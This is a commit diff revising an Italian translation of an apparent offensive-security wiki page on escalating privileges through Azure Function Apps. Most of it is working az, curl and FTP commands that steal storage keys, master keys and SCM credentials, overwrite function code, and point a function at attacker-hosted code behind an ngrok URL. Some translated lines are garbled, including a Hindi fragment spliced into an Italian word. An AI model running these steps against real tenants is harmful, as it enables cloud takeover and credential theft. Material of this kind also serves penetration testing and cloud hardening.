Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:15:50 +00:00
parent a6342684e2
commit 88223dba1b
@@ -4,7 +4,7 @@
## Function Apps
Consulta la pagina seguente per maggiori informazioni:
Controlla la seguente pagina per maggiori informazioni:
{{#ref}}
../az-services/az-function-apps.md
@@ -14,13 +14,13 @@ Consulta la pagina seguente per maggiori informazioni:
Con i permessi per leggere i container all'interno dello Storage Account che memorizza i dati della function, è possibile trovare **diversi container** (personalizzati o con nomi predefiniti) che potrebbero contenere **il codice eseguito dalla function**.
Una volta individuata la posizione del codice della function, se si hanno permessi di scrittura su di esso è possibile far eseguire qualsiasi codice alla function e escalation dei privilegi verso le managed identities associate alla function.
Una volta trovato dove si trova il codice della function, se hai permessi di scrittura su di esso, puoi fare in modo che la function esegua qualsiasi codice ed elevare i privilegi alle managed identities collegate alla function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Il codice della function è solitamente memorizzato in un file share. Con accesso sufficiente è possibile modificare il file di codice e **forzare la function a caricare codice arbitrario**, consentendo di escalare i privilegi alle managed identities associate alla Function.
Il codice della function è solitamente memorizzato all'interno di un file share. Con accesso sufficiente è possibile modificare il file di codice e **far caricare alla function codice arbitrario**, consentendo di elevare i privilegi alle managed identities collegate alla Function.
Questo metodo di deployment solitamente configura le impostazioni **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`**, che puoi ottenere da
Questo metodo di deployment di solito configura le impostazioni **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** che puoi ottenere da
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -29,9 +29,9 @@ az functionapp config appsettings list \
Quelle configurazioni conterranno la **Storage Account Key** che la Function può usare per accedere al codice.
> [!CAUTION]
> Con permessi sufficienti per connettersi al File Share e **modify the script** in esecuzione, è possibile eseguire codice arbitrario nella Function e scalare i privilegi.
> Con permessi sufficienti per connettersi al File Share e **modificare lo script** in esecuzione, è possibile eseguire codice arbitrario nella Function ed escalare i privilegi.
L'esempio seguente usa macOS per connettersi al file share, ma è consigliato consultare anche la seguente pagina per maggiori informazioni sui file share:
Lesempio seguente usa macOS per connettersi al file share, ma è consigliato controllare anche la seguente pagina per maggiori informazioni sui file share:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
È anche comune trovare le **zip releases** nella cartella `function-releases` del Storage Account container che la function app sta usando, in un container **di solito chiamato `function-releases`**.
È anche comune trovare le **zip releases** dentro la cartella `function-releases` del container dello Storage Account che la function app sta usando, in un container **di solito chiamato `function-releases`**.
Di solito questo metodo di deployment imposterà la configurazione `WEBSITE_RUN_FROM_PACKAGE` in:
Di solito questo metodo di deployment imposterà la config `WEBSITE_RUN_FROM_PACKAGE` in:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Questa configurazione di solito conterrà una **SAS URL per scaricare** il codice dal Storage Account.
Questo config conterrà solitamente un **SAS URL per scaricare** il codice dallo Storage Account.
> [!CAUTION]
> Con permessi sufficienti per connettersi al blob container che **contiene il codice in formato zip** è possibile eseguire codice arbitrario nella Function e scalare i privilegi.
> Con permessi sufficienti per connettersi al blob container che **contiene il codice in zip** è possibile eseguire codice arbitrario nella Function e fare privilege escalation.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Proprio come nel caso precedente, se il deployment è eseguito tramite Github Actions è possibile trovare la cartella **`github-actions-deploy`** nello Storage Account contenente uno zip del codice e una SAS URL allo zip nell'impostazione `WEBSITE_RUN_FROM_PACKAGE`.
Proprio come nel caso precedente, se il deployment viene fatto tramite Github Actions è possibile trovare la cartella **`github-actions-deploy`** nello Storage Account contenente uno zip del codice e un SAS URL allo zip nel setting `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Con i permessi per leggere i container all'interno dello Storage Account che memorizza i dati della Function è possibile trovare il container **`scm-releases`**. Lì è possibile trovare l'ultima release in **Squashfs filesystem file format** e quindi è possibile leggere il codice della Function:
Con i permessi per leggere i container all'interno dello Storage Account che memorizza i dati della function è possibile trovare il container **`scm-releases`**. Lì è possibile trovare l'ultima release in formato file system **Squashfs filesystem file format** e quindi è possibile leggere il codice della function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
È anche possibile trovare le **master and functions keys** memorizzate nell'account di storage nel container **`azure-webjobs-secrets`** all'interno della cartella **`<app-name>`** nei file JSON che puoi trovare al suo interno.
> [!CAUTION]
> Con permessi sufficienti per connettersi al blob container che **contiene il codice in un file di estensione zip** (che in realtà è un **`squashfs`**) è possibile eseguire codice arbitrario nella Function e elevare i privilegi.
> Con permessi sufficienti per connettersi al blob container che **contiene il code in un file con estensione zip** (che in realtà è un **`squashfs`**) è possibile eseguire codice arbitrario nella Function ed eseguire privilege escalation.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Questa autorizzazione consente di elencare le chiavi function, master e system, ma non la chiave host, della funzione specificata con:
Questo permission consente di elencare le function, master e system keys, ma non quella host, della function specificata con:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Con la master key è anche possibile ottenere il codice sorgente in un URL come:
Con la master key è anche possibile ottenere il source code in un URL come:
```bash
# Get "script_href" from
az rest --method GET \
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
E per **modificare il codice che viene eseguito** nella funzione con:
E per **cambiare il codice che viene eseguito** nella function con:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -154,32 +154,32 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
Questa autorizzazione permette di ottenere la chiave predefinita della funzione specificata con:
Questo permesso consente di ottenere la default key della function specificata con:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Invoca la funzione usando la chiave predefinita ottenuta:
Invoca la function usando la key di default ottenuta:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Questa autorizzazione consente di creare/aggiornare una chiave della funzione specificata con:
Questo permesso consente di creare/aggiornare una function key della function specificata con:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Questa autorizzazione permette di creare/aggiornare una master key per la funzione specificata con:
Questo permesso consente di creare/aggiornare una master key per la funzione specificata con:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo come spiegato prima!
> Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo, come spiegato prima!
### `Microsoft.Web/sites/host/systemKeys/write`
Questa autorizzazione consente di creare/aggiornare una chiave di funzione di sistema per la funzione specificata con:
This permission allows to create/update a system function key to the specified function with:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
Questa autorizzazione consente di ottenere le impostazioni di una function. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, che contengono una chiave dell'account per accedere allo blob storage della function con permessi FULL.
Questo permission consente di ottenere le impostazioni di una function. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** che contengono una **account key per accedere allo blob storage della function con permessi FULL**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Inoltre, questo permesso consente anche di recuperare le **SCM username and password** (se abilitate) con:
Inoltre, questo permesso consente anche di ottenere lo **SCM username e password** (se abilitati) con:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Questi permessi consentono di elencare i valori di configurazione di una funzione come abbiamo visto prima, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione.
Questi permessi permettono di elencare i valori di configurazione di una function, come abbiamo visto prima, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della function.
È quindi possibile impostare il valore dell'impostazione **`WEBSITE_RUN_FROM_PACKAGE`** puntando a un URL che contiene un file zip con il nuovo codice da eseguire all'interno di un'applicazione web:
È quindi possibile impostare il valore dell'impostazione **`WEBSITE_RUN_FROM_PACKAGE`** puntando a un file zip URL contenente il nuovo codice da eseguire all'interno di una web application:
- Start by getting the current config
- Inizia ottenendo la config corrente
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Crea il codice che vuoi che la funzione esegua e ospitalo pubblicamente
- Crea il codice che vuoi che la function esegua e ospitalo pubblicamente
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -224,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la config **`WEBSITE_RUN_FROM_PACKAGE`** che punti all'URL con lo **zip** contenente il codice.
- Modifica la function, mantieni i parametri precedenti e aggiungi alla fine la config **`WEBSITE_RUN_FROM_PACKAGE`** che punta all'URL con lo **zip** contenente il codice.
La seguente è un esempio delle mie **impostazioni personali dovrai sostituire i valori con i tuoi**, nota alla fine il valore `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, è lì che ospitavo l'app.
Il seguente è un esempio delle mie **impostazioni personali, dovrai cambiare i valori con i tuoi**; nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, qui stavo ospitando l'app.
```bash
# Modify the function
az rest --method PUT \
@@ -236,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Con questo permesso è **possibile modificare il codice di un'applicazione** tramite la web console (o tramite il seguente API endpoint):
Con questo permission è **possibile modificare il codice di un'application** tramite la web console (o tramite il seguente API endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -266,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Questi permessi consentono di elencare tutti i publishing profiles che contengono fondamentalmente **basic auth credentials**:
Questi permessi permettono di elencare tutti i publishing profiles che contengono essenzialmente **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Un'altra opzione è impostare i tuoi creds e usarli con:
Un'altra opzione sarebbe impostare le proprie credenziali e usarle con:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Se **REDACTED** credentials
- Se le credenziali **REDACTED**
Se vedi che quelle credentials sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo ti serve il secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Se vedi che quelle credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per farlo ti serve il secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -304,24 +304,45 @@ az rest --method PUT \
```
- **Method SCM**
Quindi puoi accedere con queste **basic auth credentials to the SCM URL** della tua function app e ottenere i valori delle env variables:
Quindi, puoi accedere con queste **credenziali basic auth all'URL SCM** della tua function app e ottenere i valori delle variabili di ambiente:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Nota che il **SCM username** è solitamente il carattere "$" seguito dal nome dell'app, quindi: `$<app-name>`._
Puoi scaricare, modificare e caricare nuovo codice function :
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Puoi anche caricare un file specifico :
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
Puoi anche accedere alla pagina web da `https://<app-name>.scm.azurewebsites.net/BasicAuth`
I valori delle impostazioni contengono l'**AccountKey** dello storage account che memorizza i dati della function app, consentendo di controllare tale storage account.
I valori delle impostazioni contengono la **AccountKey** dell'account di storage che memorizza i dati della function app, consentendo di controllare quell'account di storage.
- **Metodo FTP**
- **Method FTP**
Connettiti al server FTP usando:
```bash
@@ -337,19 +358,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Nota che il **FTP username** è solitamente nel formato \<app-name>\\$\<app-name>._
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Questa autorizzazione consente di **leggere il codice sorgente** dell'app tramite la VFS:
Questo permesso consente di **leggere il codice sorgente** dell'app tramite il VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Con questo permesso è possibile [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può poi essere usato per recuperare la **master key** e quindi accedere e modificare il codice della function.
Con questo permission è possibile [ottenere il **token di admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può poi essere usato per recuperare la **master key** e quindi accedere e modificare il codice della function.
Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come procederesti:
Tuttavia, nelle mie ultime verifiche non veniva restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come lo faresti:
```bash
# Get admin token
az rest --method GET \
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Questi permessi permettono di **abilitare le functions** che potrebbero essere disabilitate (o di disabilitarle).
Questi permessi permettono di **abilitare funzioni** che potrebbero essere disabilitate (o disabilitarle).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
È anche possibile verificare se una funzione è abilitata o disabilitata nell'URL seguente (usando il permesso indicato tra parentesi):
È anche possibile vedere se una function è abilitata o disabilitata nel seguente URL (usando il permission tra parentesi):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Con queste autorizzazioni è possibile **modificare il container eseguito da un function app** configurato per eseguire un container. Questo permetterebbe a un attacker di caricare su docker hub (per esempio) un malicious azure function container app e far sì che la function lo esegua.
Con questi permessi è possibile **modificare il container eseguito da una function app** configurata per eseguire un container. Questo permetterebbe a un attacker di caricare un malicious azure function container app su docker hub (per esempio) e fare in modo che la function lo esegua.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Con queste autorizzazioni è possibile assegnare una nuova user managed identity a una Function. Se la Function fosse compromessa, questo permetterebbe l'escalation dei privilegi verso qualsiasi user managed identity.
Con questi permessi è possibile **attaccare una nuova user managed identity a una function**. Se la function fosse compromessa, ciò consentirebbe di aumentare i privilegi verso qualsiasi user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Debug remoto
### Remote Debugging
È anche possibile connettersi per eseguire il debug di una Azure Function in esecuzione, come [**spiegato nella documentazione**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Tuttavia, per impostazione predefinita Azure disattiva questa opzione dopo 2 giorni nel caso lo sviluppatore si dimentichi, per evitare di lasciare configurazioni vulnerabili.
È anche possibile connettersi per eseguire il debug di una Azure function in esecuzione come [**spiegato nella documentazione**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Tuttavia, per impostazione predefinita Azure disattiverà questa opzione dopo 2 giorni nel caso in cui lo sviluppatore si dimentichi di evitare di lasciare configurazioni vulnerabili.
È possibile verificare se una Function ha il debugging abilitato con:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Avendo il permesso `Microsoft.Web/sites/config/write`, è anche possibile mettere una funzione in modalità di debug (il seguente comando richiede anche i permessi `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`).
Avendo il permesso `Microsoft.Web/sites/config/write` è anche possibile mettere una function in modalità debugging (il seguente comando richiede anche i permessi `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Cambiare Github repo
### Change Github repo
Ho provato a cambiare il repo Github da cui avviene il deploy eseguendo i comandi seguenti ma anche se è cambiato, **il nuovo codice non è stato caricato** (probabilmente perché si aspetta che la Github Action aggiorni il codice).\
Inoltre, la **managed identity federated credential wasn't updated** che avrebbe permesso il nuovo repository, quindi sembra che questo non sia molto utile.
Ho provato a cambiare il Github repo da cui avviene il deploy eseguendo i seguenti comandi, ma anche se fosse cambiato, **il nuovo codice non è stato caricato** (probabilmente perché si aspetta che il Github Action aggiorni il codice).\
Inoltre, la **managed identity federated credential non è stata aggiornata** per अनुमतिire il nuovo repository, quindi sembra che questo non sia molto utile.
```bash
# Remove current
az functionapp deployment source delete \